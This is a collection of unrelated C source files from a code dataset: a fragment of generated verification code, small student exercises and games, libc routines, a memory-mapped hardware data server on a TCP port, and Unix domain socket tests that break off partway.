T_2_83_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 0 == x_59_1 && 2 == x_12_1) x_20_2 = x_20_1 + x_56_1;
T_2_84_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 0 == x_59_1 && 2 == x_12_1) x_57_2 = -1*x_56_1 + x_57_1;
T_2_85_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_57_2 <= 0 && 2 == x_12_1) x_60_0 = 0;
T_2_86_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_57_2 <= 0 && 2 == x_12_1) x_12_2 = -1;
T_2_87_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_57_2 <= 0) x_60_1 = 0;
T_2_88_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0) x_61_0 = 829146884;
T_2_89_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0) x_61_1 = x_59_1;
T_2_90_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0) x_62_0 = 1795071292;
T_2_91_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0) x_62_1 = x_61_1;
T_2_92_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0) x_0_2 = 0;
T_2_93_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0) x_41_0 = 511054180;
T_2_94_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0) x_41_1 = x_0_1;
T_2_95_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_0_1 == x_41_1) x_42_0 = 0;
T_1_96_1: if (x_52_1 < x_11_1) x_63_0 = 1040561299;
T_1_97_1: if (x_52_1 < x_11_1) x_63_1 = 46918700304128;
T_1_98_1: if (x_52_1 < x_11_1) x_64_0 = 108733256;
T_1_99_1: if (x_52_1 < x_11_1) x_64_1 = x_0_2 + x_52_1;
T_2_100_2: if (x_52_1 < x_11_1) x_53_1 = 0;
T_2_101_2: if (x_52_1 < x_11_1 && x_53_1 < x_51_1) x_65_0 = 422066550;
T_2_102_2: if (x_52_1 < x_11_1 && x_53_1 < x_51_1) x_65_1 = 46918700304128;
T_2_103_2: if (x_52_1 < x_11_1) x_53_2 = 1 + x_53_1;
T_2_104_2: if (x_52_1 < x_11_1 && x_53_2 < x_51_1) x_65_2 = 46918700304128;
T_2_105_2: if (x_52_1 < x_11_1) x_53_3 = 1 + x_53_2;
T_2_106_2: if (x_52_1 < x_11_1) x_66_0 = 335858979;
T_2_107_2: if (x_52_1 < x_11_1) x_66_1 = 46918700304128;
T_2_108_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_0_1 == x_41_1 && 0 == x_12_2 + 1) x_12_3 = 1;
T_2_109_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_0_1 == x_41_1 && 1 == x_12_3) x_42_1 = 0;
T_2_110_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 1 == x_12_3) x_43_0 = 259417280;
T_2_111_2: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 1 == x_12_3) x_43_1 = 0;
T_1_112_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 0 == x_43_1 && 1 == x_12_3) x_40_1 = x_41_1;
T_1_113_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 0 == x_43_1 && 1 == x_12_3) x_20_3 = x_20_2 + x_40_1;
T_1_114_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 0 == x_43_1 && 1 == x_12_3) x_41_2 = -1*x_40_1 + x_41_1;
T_1_115_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_41_2 <= 0 && 1 == x_12_3) x_44_0 = 0;
T_1_116_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_41_2 <= 0 && 1 == x_12_3) x_12_4 = -1;
T_1_117_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_41_2 <= 0) x_44_1 = 0;
T_1_118_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_45_0 = 1092870137;
T_1_119_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_45_1 = x_43_1;
T_1_120_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_46_0 = 1018612067;
T_1_121_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_46_1 = x_45_1;
T_1_122_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_0_3 = 0;
T_1_123_1: if (x_36_1 < x_11_1) x_47_0 = 333499302;
T_1_124_1: if (x_36_1 < x_11_1) x_47_1 = 46918698202880;
T_1_125_1: if (x_52_1 < x_11_1) x_0_4 = x_0_2 + x_52_1;
T_1_126_1: if (x_36_1 < x_11_1) x_48_0 = 700475493;
T_1_127_1: if (x_36_1 < x_11_1) x_48_1 = x_0_3 + x_36_1;
T_1_128_1: if (x_36_1 < x_11_1) x_37_1 = 0;
T_1_129_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_49_0 = 1479105860;
T_2_130_2: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_49_1 = 46918698202880;
T_1_131_1: if (x_36_1 < x_11_1) x_37_2 = 1 + x_37_1;
T_1_132_1: if (x_36_1 < x_11_1) x_50_0 = 1169282082;
T_1_133_1: if (x_36_1 < x_11_1) x_50_1 = 46918698202880;
T_1_134_1: if (x_36_1 < x_11_1) x_0_5 = x_0_4 + x_36_1;
T_1_135_1: if (x_52_1 < x_11_1) x_67_0 = 8169291;
T_1_136_1: if (x_52_1 < x_11_1) x_67_1 = 46918700304128;
T_1_137_1: if (x_52_1 < x_11_1) x_68_0 = 2070155869;
T_1_138_1: if (x_52_1 < x_11_1) x_68_1 = 46918700304128;
T_1_139_1: if (x_52_1 < x_11_1) assert(x_0_5 == x_64_1);
}
|
the_stack_data/225144226.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main()
{
char player_name[20];//
again:
printf("\n βββββββ βββββββ ββββββββββ βββ βββββββ ββββββ βββββββ βββββββββββββββ ββββββββ ββββββββββββββββββββββββββ βββββββ βββββββ ββββββββ\n ββββββββββββββββββββββββββββ ββββ ββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n βββββββββββ ββββββ βββββββ ββββββββββββββββββββββββββββββ ββββββββ βββββββββββ ββββββββββββββββββββββ βββββββββββββββββββ\n βββββββββββ ββββββ βββββββ βββββββ βββββββββββββββ ββββββ ββββββββ βββββββββββ ββββββββββββββββββββββ βββββββββββββββββββ\n βββ βββββββββββββββββββββββ βββ βββ βββ ββββββ βββββββββββ βββ βββββββββββββββββββββββββββββββββββββββββββββββ βββββββββββ\n");
printf("\n\t\t\t\t\t Enter Your Name:\t");
scanf("%s", player_name);
int rounds;
printf("\n%s , How many rounds you want to play? :\t", player_name);
scanf("%d", &rounds);
int player_score = 0, computer_score = 0;
for (int round = 1; round <= rounds; round++)
{
int player_choice, computer_choice;
printf("\n\n\t\tRound No :\t%d / %d\n", round, rounds);
printf("\n\t\t%s's score is = %d", player_name, player_score);
printf("\n\t\tComputer's score is = %d", computer_score);
printf("\n\t\t\t1. Rock");
printf("\n\t\t\t2. Paper");
printf("\n\t\t\t3. Scissor");
do
{
printf("\nSelect Your Choice :\t");
scanf("%d", &player_choice);
} while (player_choice != 1 && player_choice != 2 && player_choice != 3);
computer_choice = (rand() % 3) + 1;
if (player_choice == 1 && computer_choice == 3)
{
printf("\n%s win", player_name);
player_score++;
}
else if (player_choice == 2 && computer_choice == 1)
{
printf("\n%s win", player_name);
player_score++;
}
else if (player_choice == 3 && computer_choice == 2)
{
printf("\n%s win", player_name);
player_score++;
}
else if (player_choice == computer_choice)
{
printf("\nGame Draw");
}
else
{
printf("\nComputer Win");
computer_score++;
}
}
if (computer_score == player_score)
{
printf("\n\t\t\t\tGame Draw");
}
else if (player_score > computer_score)
{
printf("\n\t\t\t\t%s won the game\n", player_name);
}
else
{
printf("\n\t\t\t\tComputer Won the Game\n");
}
int ag;
printf("\n\t\t\t\tType '0' to start again :\t");
scanf("%d", &ag);
if (ag == 0)
goto again;
else
sleep(10);
return 0;
}
|
the_stack_data/305742.c | /*
* Copyright (c) 2013, 2014 Jonas 'Sortie' Termansen.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
* unistd/ttyname.c
* Returns the pathname of a terminal.
*/
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
char* ttyname(int fd)
{
static char* result = NULL;
static size_t result_size = 0;
while ( ttyname_r(fd, result, result_size) < 0 )
{
if ( errno != ERANGE )
return NULL;
size_t new_result_size = result_size ? 2 * result_size : 16;
char* new_result = (char*) realloc(result, new_result_size);
if ( !new_result )
return NULL;
result = new_result;
result_size = new_result_size;
}
return result;
}
|
the_stack_data/145510.c | #include <stdio.h>
void swap(int *a, int *b)
{
int tmp;
tmp = *a;
*a = *b;
*b = tmp;
}
int main(void)
{
int a = 1;
int b = 2;
printf("a=%d, b=%d\n", a, b);
swap(&a, &b);
printf("a=%d, b=%d\n", a, b);
} |
the_stack_data/247018699.c | int main() {
return 10 | 12;
}
|
the_stack_data/95450217.c | /*
Fatorial Simples
https://www.urionlinejudge.com.br/judge/pt/problems/view/1153
*/
#include <stdio.h>
long unsigned int fatorial(int n);
int main (void) {
int nth;
scanf("%d", &nth);
printf("%lu\n", fatorial(nth));
return 0;
}
long unsigned int fatorial(int n) {
if (n == 0) {
return 1;
}
else {
return n * fatorial(n - 1);
}
}
|
the_stack_data/497188.c | #include <stdio.h>
#include <stdlib.h>
typedef struct llist{
int val;
struct llist * prox;
} * LInt;
int paresImpares(int v[], int N){
int i, j = N - 1, temp, pares = 0;
for(i = 0; i < j - 1 && i < N; ++i){
if(v[i] % 2 != 0){
while(v[j] % 2 != 0) j--;
temp = v[i];
v[i] = v[j];
v[j] = temp;
printf("ola\n");
}
}
for(i = 0; i < N; ++i){
if(v[i] % 2 == 0) pares++;
} return pares;
}
void merge (LInt * r, LInt a, LInt b){
while(a || b){
if((a && !b) || (a && b && a->val < b->val)){
*r = a;
a = a->prox;
}else if((b && !a) || (a && b && b->val < a->val)){
*r = b;
b = b->prox;
} r = &((*r)->prox);
}
}
void latino(int N, int m[N][N]){
int i, j;
for(i = 0; i < N; ++i){
int number = i+1;
for(j = 0; j < N; ++j){
if(number > N) number = 1;
m[i][j] = number++;
}
}
}
void printLista(LInt l){
while(l){
if(!l->prox) printf("%d", l->val);
else printf("%d, ", l->val);
l = l->prox;
} printf("\n");
}
int main(){
int p[29], k;
for(k = 0; k < 29; ++k)
p[k] = k;
for(k = 0; k < 29; ++k)
printf("%d ", p[k]);
printf("\n");
int pares = paresImpares(p, 29);
for(k = 0; k < 29; ++k)
printf("%d ", p[k]);
printf("\nn_pares = %d", pares);
printf("\n");
printf("\n");
//construcao de lista exemplo l 1->3->7
LInt l1, l2, r = NULL;
l1 = malloc(sizeof(struct llist)*1);
l1->val = 1;
l1->prox = malloc(sizeof(struct llist));
(l1->prox)->val = 3;
(l1->prox)->prox = malloc(sizeof(struct llist));
((l1->prox)->prox)->val = 7;
((l1->prox)->prox)->prox = NULL;
//construcao de lista exemplo l2 -3->2->9
l2 = malloc(sizeof(struct llist)*1);
l2->val = -3;
l2->prox = malloc(sizeof(struct llist));
(l2->prox)->val = 2;
(l2->prox)->prox = malloc(sizeof(struct llist));
((l2->prox)->prox)->val = 9;
((l2->prox)->prox)->prox = NULL;
printf("LISTA l1: ");
printLista(l1);
printf("\nLISTA l2: ");
printLista(l2);
merge(&r, l1, l2);
printf("\nLista do merge: ");
printLista(r);
printf("\n");
int N = 10;
int m[N][N];
int i, j;
latino(10, m);
for(i = 0; i < N; ++i){
for(j = 0; j < N; ++j)
printf("%d ", m[i][j]);
printf("\n");
}
return 0;
}
|
the_stack_data/138197.c | /* Copyright (C) 2002-2016 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 2002.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <pthread.h>
#include <sched.h>
/* With the 1-on-1 model we implement this function is equivalent to
the 'sched_yield' function. */
int
pthread_yield (void)
{
return sched_yield ();
}
|
the_stack_data/17360.c | #if 0
struct C
{
};
#endif
|
the_stack_data/215768893.c | #include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#define N_OUT INT_MAX
static void GetXYByN(int n, int *px, int *py)
{
if(n < 8)
{
switch(n)
{
case 0: *px = 0; *py = 0; break;
case 1: *px = 1; *py = 0; break;
case 2: *px = 2; *py = 0; break;
case 3: *px = 2; *py = 1; break;
case 4: *px = 2; *py = 2; break;
case 5: *px = 1; *py = 2; break;
case 6: *px = 0; *py = 2; break;
case 7: *px = 0; *py = 1; break;
}
}
else
{
int x;
int y;
GetXYByN(n / 8, px, py);
*px *= 3;
*py *= 3;
GetXYByN(n % 8, &x, &y);
*px += x;
*py += y;
}
}
static int GetNByXY(int x, int y)
{
int n;
if(x < 0 || y < 0)
{
n = N_OUT;
}
else if(x < 3 && y < 3)
{
switch(x + y * 3)
{
case 0: n = 0; break;
case 1: n = 1; break;
case 2: n = 2; break;
case 3: n = 7; break;
case 4: n = N_OUT; break;
case 5: n = 3; break;
case 6: n = 6; break;
case 7: n = 5; break;
case 8: n = 4; break;
}
}
else
{
n = GetNByXY(x / 3, y / 3);
if(n != N_OUT)
{
int t = GetNByXY(x % 3, y % 3);
if(t != N_OUT)
{
n *= 8;
n += t;
}
else
n = N_OUT;
}
}
return n;
}
static int CompInt(const int *a, const int *b)
{
return *a - *b;
}
int main()
{
int n;
int x;
int y;
int vs[5];
int i;
scanf("%d", &n);
n--;
GetXYByN(n, &x, &y);
vs[0] = GetNByXY(x + 1, y);
vs[1] = GetNByXY(x - 1, y);
vs[2] = GetNByXY(x, y + 1);
vs[3] = GetNByXY(x, y - 1);
vs[4] = N_OUT;
qsort(vs, 4, sizeof(int), CompInt);
for(i = 0; vs[i] != N_OUT; i++)
{
if(i)
printf(",");
printf("%d", vs[i] + 1);
}
printf("\n");
}
|
the_stack_data/30426.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main (int argc, char *argv[]){
fork();
printf("Hello world!\n");
return 0;
} |
the_stack_data/247019511.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
int main ()
{
int Cod1, Cod2, Unidade1, Unidade2;
float Valor1, Valor2, Total;
scanf("%i %i %f", &Cod1, &Unidade1, &Valor1);
scanf("%i %i %f", &Cod2, &Unidade2, &Valor2);
Total = ((Unidade1*Valor1) + (Unidade2*Valor2));
printf("VALOR A PAGAR: R$ %.2f\n", Total);
return 0;
} |
the_stack_data/32951464.c | #include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <math.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define TCP_PORT 1001
int interrupted = 0;
void signal_handler(int sig)
{
interrupted = 1;
}
int main(int argc, char *argv[])
{
int fd, sockServer, sockClient;
int position, limit, offset;
pid_t pid;
void *cfg, *sts, *ram, *buf;
char *name = "/dev/mem";
unsigned long size = 0;
struct sockaddr_in addr;
uint32_t command = 13560000;
uint32_t freqMin = 3125000;
uint32_t freqMax = 50000000;
int yes = 1;
if((fd = open(name, O_RDWR)) < 0)
{
perror("open");
return 1;
}
cfg = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0x40000000);
sts = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0x40001000);
ram = mmap(NULL, 64*sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0x1E000000);
buf = mmap(NULL, 64*sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if((sockServer = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return 1;
}
setsockopt(sockServer, SOL_SOCKET, SO_REUSEADDR, (void *)&yes , sizeof(yes));
/* setup listening address */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(TCP_PORT);
if(bind(sockServer, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("bind");
return 1;
}
listen(sockServer, 1024);
limit = 16*1024;
while(!interrupted)
{
/* enter reset mode */
*((uint32_t *)(cfg + 0)) &= ~7;
/* set default phase increment */
*((uint32_t *)(cfg + 4)) = (uint32_t)floor(13560000/125.0e6*(1<<30)+0.5);
/* set default sample rate */
*((uint32_t *)(cfg + 8)) = 10;
if((sockClient = accept(sockServer, NULL, NULL)) < 0)
{
perror("accept");
return 1;
}
signal(SIGINT, signal_handler);
/* enter normal operating mode */
*((uint32_t *)(cfg + 0)) |= 7;
while(!interrupted)
{
if(ioctl(sockClient, FIONREAD, &size) < 0) break;
if(size >= 4)
{
if(recv(sockClient, (char *)&command, 4, MSG_WAITALL) < 0) break;
switch(command >> 31)
{
case 0:
/* set phase increment */
if(command < freqMin || command > freqMax) continue;
*((uint32_t *)(cfg + 4)) = (uint32_t)floor(command/125.0e6*(1<<30)+0.5);
break;
case 1:
/* set sample rate */
switch(command & 3)
{
case 0:
freqMin = 1250000;
*((uint32_t *)(cfg + 0)) &= ~4;
*((uint32_t *)(cfg + 8)) = 25;
*((uint32_t *)(cfg + 0)) |= 4;
break;
case 1:
freqMin = 3125000;
*((uint32_t *)(cfg + 0)) &= ~4;
*((uint32_t *)(cfg + 8)) = 10;
*((uint32_t *)(cfg + 0)) |= 4;
break;
}
break;
}
}
/* read ram writer position */
position = *((uint32_t *)(sts + 0));
/* send 128 kB if ready, otherwise sleep 1 ms */
if((limit > 0 && position > limit) || (limit == 0 && position < 16*1024))
{
offset = limit > 0 ? 0 : 128*1024;
limit = limit > 0 ? 0 : 16*1024;
/* copy data to cached buffer */
memcpy(buf + offset, ram + offset, 128*1024);
if(send(sockClient, buf + offset, 128*1024, MSG_NOSIGNAL) < 0) break;
}
else
{
usleep(1000);
}
}
signal(SIGINT, SIG_DFL);
close(sockClient);
}
close(sockServer);
/* enter reset mode */
*((uint32_t *)(cfg + 0)) &= ~7;
return 0;
}
|
the_stack_data/101415.c | #include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <unistd.h>
#include <semaphore.h>
#define CLIENT_SOCKET_PATH "client_socket"
#define SERVER_SOCKET_PATH "server_socket"
#define SMALLBUF_SIZE 8
#define LARGEBUF_SIZE 8192
#define IOV_LEN 8
#define CLIENT_COUNT 8
#define DGRAM_COUNT 128
#define test_assert(expr) do { \
if (!(expr)) { \
printf("Error: %s -- failed at %s:%d\n", #expr, __FILE__, __LINE__); \
exit(EXIT_FAILURE); \
} \
} while (0)
static void *uds_stream_server(void *arg)
{
int fd = (long) arg;
struct sockaddr_un addr;
socklen_t addr_len = sizeof(addr);
int client_fd;
uint8_t readBuf[LARGEBUF_SIZE];
struct iovec iov[IOV_LEN];
struct msghdr msg;
ssize_t nbytes, total;
/* on linux, generates SIGPIPE */
test_assert(accept(fd, (struct sockaddr *) &addr, NULL) == -1);
test_assert(errno == EFAULT);
client_fd = accept(fd, (struct sockaddr *) &addr, &addr_len);
test_assert(client_fd >= 0);
test_assert(addr_len == sizeof(addr.sun_family));
test_assert(addr.sun_family == AF_UNIX);
total = 0;
do {
nbytes = recv(client_fd, readBuf + total, LARGEBUF_SIZE - total, 0);
test_assert(nbytes > 0);
total += nbytes;
} while (total < LARGEBUF_SIZE);
for (int i = 0; i < LARGEBUF_SIZE; i++) {
test_assert(readBuf[i] == (i & 0xFF));
}
for (int i = 0; i < LARGEBUF_SIZE; i++) {
test_assert(recv(client_fd, readBuf, 1, 0) == 1);
test_assert(readBuf[0] == (i & 0xFF));
}
for (int i = 0; i < IOV_LEN; i++) {
iov[i].iov_base = &readBuf[i * LARGEBUF_SIZE / IOV_LEN];
iov[i].iov_len = LARGEBUF_SIZE / IOV_LEN;
}
memset(&msg, 0, sizeof(msg));
for (int i = 0; i < IOV_LEN; i += 2) {
msg.msg_iov = iov + i;
msg.msg_iovlen = 0;
test_assert(recvmsg(client_fd, &msg, 0) == 0);
msg.msg_iovlen = 2;
test_assert(recvmsg(client_fd, &msg, 0) == LARGEBUF_SIZE * 2 / IOV_LEN);
}
for (int i = 0; i < IOV_LEN; i++)
for (int j = 0; j < iov[i].iov_len; j++)
test_assert(*((uint8_t *)(iov[i].iov_base) + j) == (i & 0xFF));
usleep(100 * 1000); /* to make the sender block */
test_assert(close(client_fd) == 0);
return NULL;
}
/* Closes server socket after a delay. */
static void *uds_stream_dummy_server(void *arg)
{
int fd = (long) arg;
usleep(100 * 1000); /* to make the client thread block */
test_assert(close(fd) == 0);
return NULL;
}
/* Closes server socket after accepting a connection. */
static void *uds_stream_closing_server(void *arg)
{
int fd = (long) arg;
int client_fd = accept(fd, NULL, 0);
test_assert(client_fd >= 0);
usleep(100 * 1000); /* to make the client thread block */
test_assert(close(client_fd) == 0);
test_assert(close(fd) == 0);
return NULL;
}
static void uds_stream_test(void)
{
int s1, s2;
int s3[CLIENT_COUNT];
struct sockaddr_un addr;
socklen_t addr_len = sizeof(addr);
struct stat s;
pthread_t pt;
uint8_t writeBuf[LARGEBUF_SIZE];
struct iovec iov[IOV_LEN];
struct msghdr msg;
ssize_t nbytes, total;
struct pollfd fds;
s1 = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s1 >= 0);
addr.sun_family = AF_UNIX;
test_assert((bind(s1, NULL, addr_len) == -1) && (errno == EFAULT));
test_assert(bind(s1, (struct sockaddr *) &addr, 0) == -1);
test_assert(errno == EINVAL);
strcpy(addr.sun_path, "/nonexistent/socket");
test_assert(bind(s1, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == ENOENT);
test_assert(connect(s1, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == ENOENT);
strcpy(addr.sun_path, "unixsocket");
test_assert(bind(s1, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == EADDRINUSE);
test_assert(connect(s1, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == ECONNREFUSED);
strcpy(addr.sun_path, SERVER_SOCKET_PATH);
test_assert(bind(s1, (struct sockaddr *) &addr, addr_len) == 0);
test_assert(stat(SERVER_SOCKET_PATH, &s) == 0);
test_assert((s.st_mode & S_IFMT) == S_IFSOCK);
test_assert(bind(s1, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == EADDRINUSE);
s2 = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s2 >= 0);
test_assert(bind(s2, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == EADDRINUSE);
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == ECONNREFUSED);
test_assert(accept(s1, (struct sockaddr *) &addr, &addr_len) == -1);
test_assert(errno == EINVAL);
test_assert(listen(s1, 1) == 0);
test_assert(pthread_create(&pt, NULL, uds_stream_server, (void *)(long) s1)
== 0);
test_assert(sendto(s2, writeBuf, sizeof(writeBuf), 0, (struct sockaddr *)&addr,
addr_len) == -1);
test_assert(errno == EOPNOTSUPP);
test_assert((send(s2, writeBuf, sizeof(writeBuf), 0) == -1) && (errno == ENOTCONN));
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == 0);
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == EISCONN);
fds.fd = s2;
fds.events = POLLIN | POLLOUT | POLLHUP;
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == POLLOUT));
test_assert(sendto(s2, writeBuf, sizeof(writeBuf), 0, (struct sockaddr *)&addr,
addr_len) == -1);
test_assert(errno == EISCONN);
test_assert(send(s2, writeBuf, 0, 0) == 0);
for (int i = 0; i < LARGEBUF_SIZE; i++) {
writeBuf[i] = i;
test_assert(send(s2, writeBuf + i, 1, 0) == 1);
}
total = 0;
do {
nbytes = send(s2, writeBuf + total, LARGEBUF_SIZE - total, 0);
test_assert(nbytes > 0);
total += nbytes;
} while (total < LARGEBUF_SIZE);
for (int i = 0; i < IOV_LEN; i++) {
iov[i].iov_base = &writeBuf[i * LARGEBUF_SIZE / IOV_LEN];
iov[i].iov_len = LARGEBUF_SIZE / IOV_LEN;
memset(iov[i].iov_base, i & 0xFF, iov[i].iov_len);
}
memset(&msg, 0, sizeof(msg));
msg.msg_iov = iov;
msg.msg_iovlen = 0;
test_assert(sendmsg(s2, &msg, 0) == 0);
msg.msg_iovlen = IOV_LEN;
test_assert(sendmsg(s2, &msg, 0) == LARGEBUF_SIZE);
/* Close receiving socket (in the server thread) during blocking send. */
while (1) {
nbytes = send(s2, writeBuf, 1, 0);
if (nbytes != 1) {
test_assert(nbytes == -1);
break;
}
}
test_assert(pthread_join(pt, NULL) == 0);
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents & POLLHUP));
test_assert(recv(s2, writeBuf, 1, 0) == 0);
/* on linux, this generates SIGPIPE instead of returning */
test_assert((send(s2, writeBuf, 1, 0) == -1) && (errno == EPIPE));
test_assert(close(s1) == 0);
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == ECONNREFUSED);
test_assert(close(s2) == 0);
test_assert(unlink(SERVER_SOCKET_PATH) == 0);
s1 = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s1 >= 0);
test_assert(bind(s1, (struct sockaddr *) &addr, addr_len) == 0);
test_assert(listen(s1, 1) == 0);
/* Try to connect a datagram socket to a stream socket. */
s2 = socket(AF_UNIX, SOCK_DGRAM, 0);
test_assert(s2 >= 0);
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == EPROTOTYPE);
test_assert(close(s2) == 0);
/* Close listening socket while client sockets are connecting. */
test_assert(pthread_create(&pt, NULL, uds_stream_dummy_server, (void *)(long) s1) == 0);
for (int i = 0; i < CLIENT_COUNT; i++) {
s3[i] = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s3[i] >= 0);
if (connect(s3[i], (struct sockaddr *) &addr, addr_len) < 0)
test_assert(errno == ECONNREFUSED);
}
for (int i = 0; i < CLIENT_COUNT; i++)
test_assert(close(s3[i]) == 0);
test_assert(pthread_join(pt, NULL) == 0);
test_assert(unlink(SERVER_SOCKET_PATH) == 0);
/* Close peer socket (in the server thread) during blocking read. */
s1 = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s1 >= 0);
test_assert(bind(s1, (struct sockaddr *)&addr, addr_len) == 0);
test_assert(listen(s1, 1) == 0);
s2 = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s2 >= 0);
test_assert(pthread_create(&pt, NULL, uds_stream_closing_server, (void *)(long)s1) == 0);
test_assert(connect(s2, (struct sockaddr *)&addr, addr_len) == 0);
test_assert(read(s2, writeBuf, 1) == 0);
test_assert(pthread_join(pt, NULL) == 0);
close(s2);
test_assert(unlink(SERVER_SOCKET_PATH) == 0);
}
static void *uds_dgram_server(void *arg)
{
int fd = (long) arg;
struct sockaddr_un addr;
socklen_t addr_len = sizeof(addr);
uint8_t readBuf[SMALLBUF_SIZE];
test_assert(recv(fd, readBuf, SMALLBUF_SIZE, 0) == 1);
test_assert(recvfrom(fd, readBuf, SMALLBUF_SIZE / 2, 0, (struct sockaddr *)&addr, &addr_len) ==
SMALLBUF_SIZE / 2);
test_assert(addr_len > sizeof(addr.sun_family));
test_assert(addr_len <= sizeof(addr));
test_assert(addr.sun_family == AF_UNIX);
test_assert(!strcmp(addr.sun_path, CLIENT_SOCKET_PATH));
